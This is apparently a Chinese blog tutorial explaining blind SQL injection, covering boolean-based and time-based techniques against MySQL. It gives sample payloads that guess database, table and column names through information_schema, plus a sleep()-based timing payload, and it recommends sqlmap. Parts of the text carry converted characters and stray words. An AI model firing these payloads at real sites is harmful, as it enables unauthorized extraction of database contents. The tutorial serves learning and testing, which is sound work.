SQL注入之布尔注入原理

注:本人仅供参考学习

布尔注入定义及原理:
所谓盲注就是在服务器没有错误回显的时候完成注入攻击。
盲注分为布尔盲注和时间盲注
布尔盲注:boolean 根据注入信息返回true or fales 没有任何报错信息
时间盲注:界面返回值ture 不管输入任何值,返回的状况都是正常的来处。加入特定的时间函数,经过查看web页面返回的时间差来判断注入的语句是否正确。web

布尔注入经常使用函数sql

length(str):返回str字符串的长度。
substr(str, pos, len):将str从pos位置开始截取len长度的字符进 行返回。注意这里的pos位置是从1开始的,不是数组的0开始
mid(str,pos,len):跟上面的同样,截取字符串
ascii(str):返回字符串str的最左面字符的ASCII代码值。
ord(str):同上,返回ascii码
if(a,b,c) :a为条件,a为true,返回b,不然返回c,如if(1>2,1,0),返回0

过程数据库

1.首先咱们须要判断数据库长度 
' or Length(database()) = 8 #返回true说明数据库长度为8
2.获取数据库名字
' or ord(mid(database(),1,1)) ='ascill值'#
依次获取
3.获取表的总数
' or (select count(TABLE_NAME) from information_schema.TABLES where TABLE_SCHEMA=database() )= 2#
4.获取表的长度(第一个表)
' or (select length(TABLE_NAME) from information_schema.TABLES where TABLE_SCHEMA=database() limit 0,1 )= (猜想得长度)#
5.获取表的内容
' or  mid((select TABLE_NAME from information_schema.TABLES where 
TABLE_SCHEMA=database() limit 0,1),1,1)   = 'a' #
6.获取表的字段的总数
' or  (select count(COLUMN_NAME) from information_schema.COLUMNS where TABLE_NAME=表名 ) = 8#8返回true说明有8个表
依次类推,最后推出内容。由于是盲猜因此只能这样一个一个去推手工比较麻烦 一般使用sqlmap进行注入

延时注入
要是页面都返回false咱们就只能用if和sleep函数判断是ture仍是false
正确就延迟n秒返回,错误就0s返回数组

id=2 and  Sleep( if(  (SELECT count(SCHEMA_NAME) FROM information_schema.SCHEMATA) = 7  ,0,5 )                         )好像这个是说若是数据库总数等于7的话0s返回不然5s

其余操做就跟布尔注入同样,走布尔思路就好了。服务器

整体思路
获取数据库的总数
获取别的数据库长度
获取别的数据库名字
获取当前数据库长度
获取当前数据库内容
获取当前数据库表的总数
获取当前数据库表的长度
获取当前数据库表的内容
获取当前数据库表的字段总数
获取当前数据库表的字段第2个长度
获取当前数据库表的字段第N个内容
获取内容

暂时总结到这里,布尔的话借助工具跑比较方便,手注太麻烦了。函数

相关文章
相关标签/搜索